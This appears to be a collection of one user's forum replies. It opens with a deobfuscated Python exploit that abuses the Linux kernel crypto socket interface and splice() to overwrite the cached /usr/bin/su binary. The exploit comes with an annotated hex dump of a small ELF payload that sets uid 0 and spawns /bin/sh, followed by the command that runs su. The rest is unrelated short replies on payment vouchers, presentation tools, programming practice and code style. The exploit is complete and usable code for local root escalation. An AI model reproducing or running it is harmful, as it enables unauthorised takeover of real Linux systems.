here’s my attempt at deobfuscating it:

#!/usr/bin/env python3

import os
from ctypes import c_int32 as i32, c_char as char
import zlib
import socket as s


def inject(file, offset, data):
    # connect to kernel crypto system's aeda endpoint
    sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
 
    # set cipher key and tag size, then wait for the system to be ready
    sock.setsockopt(s.SOL_ALG, s.ALG_SET_KEY, (char * 68)(8, 0, 1, 0, 0, 0, 0, 16))
    sock.setsockopt(s.SOL_ALG, s.ALG_SET_AEAD_AUTHSIZE, None, optlen=4)
    conn, _ = sock.accept()
 
    # pass in configuration
    conn.sendmsg(
        [b"AAAA" + data],  # pad to tag size
        [
            (s.SOL_ALG, s.ALG_SET_OP, i32(s.ALG_OP_DECRYPT)),  # set operation
            (s.SOL_ALG, s.ALG_SET_IV, (char * 20)(16)),    # set init vector
            (s.SOL_ALG, s.ALG_SET_AEAD_ASSOCLEN, i32(8)),  # set associated data length
        ],
        s.MSG_MORE,
    )

    # move file through a pipe to the connection without copying
    r, w = os.pipe()
    os.splice(file, w, offset + 4, offset_src=0)
    os.splice(r, conn.fileno(), offset + 4)
    try:
        conn.recv(8 + offset)
    except:
        pass


binary = os.open("/usr/bin/su", os.O_RDONLY)
offset = 0
payload = zlib.decompress(
    bytes.fromhex(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
        "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
        "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    )
)

while offset < len(payload):
    inject(binary, offset, payload[offset : offset + 4])
    offset += 4

os.system("su")

as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............ # ELF x86-64 v1, executable
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8......... # contains 1 56-bit program header
00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................ # program header starts
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................ # flags r-x
00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i.. # program starts
00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...

it’s an ELF header that replaces the one on the cached version of the binary (su in this case).

Edit: came back to this because i realized i had the wrong flags. the values were right but they were for the wrong socket type.

you’d only need to change the payload part, which is a compiled x86 ELF header.

oh for some reason i thought you meant like some sort of generic cash vouchers. i even have those mullvad scratch-offs myself. i’m a dumb.

not outside the us.

also you can pay their fee using cash in an envelope.

don’t send cash in the mail by the way.

i use latex beamer templates for presentations. it’s hard to fuck up displaying a pdf. if you want you can use markdown -> pandoc -> tectonic to skip writing latex.

any european ones?

i’ll give you the second case, but nobody should plan for putting stuff on aws with the world as it looks right now…

…a hard disk? you can just write data to a file

in a very agressive way. hence coffee.

good morning to you too. remember to have your coffee before going on the internet.

that’s linux kernel code style

arrays start at (offset) zero. lists start at (position) one. fight me.

i’ve worked with highly competent programmes and sysadmins whose houses are entirely connected. they do exist.

yeah sorry should have clarified

it says they use ai right on the page you linked. their other application is ai-first.

console blackjack is a good start. take bets, hit or stand, count cards correctly, pay out winnings. makes you think about data structures and sequences and so on.

alternatively, think of something you find annoying to do on the computer and try to automate it.

fluency. languages are hard to learn but when you know them you communicate better. same as touch-typing, or mobas.

cool, i learned something!

the fuck is a “menu”

*harrumphs in sh*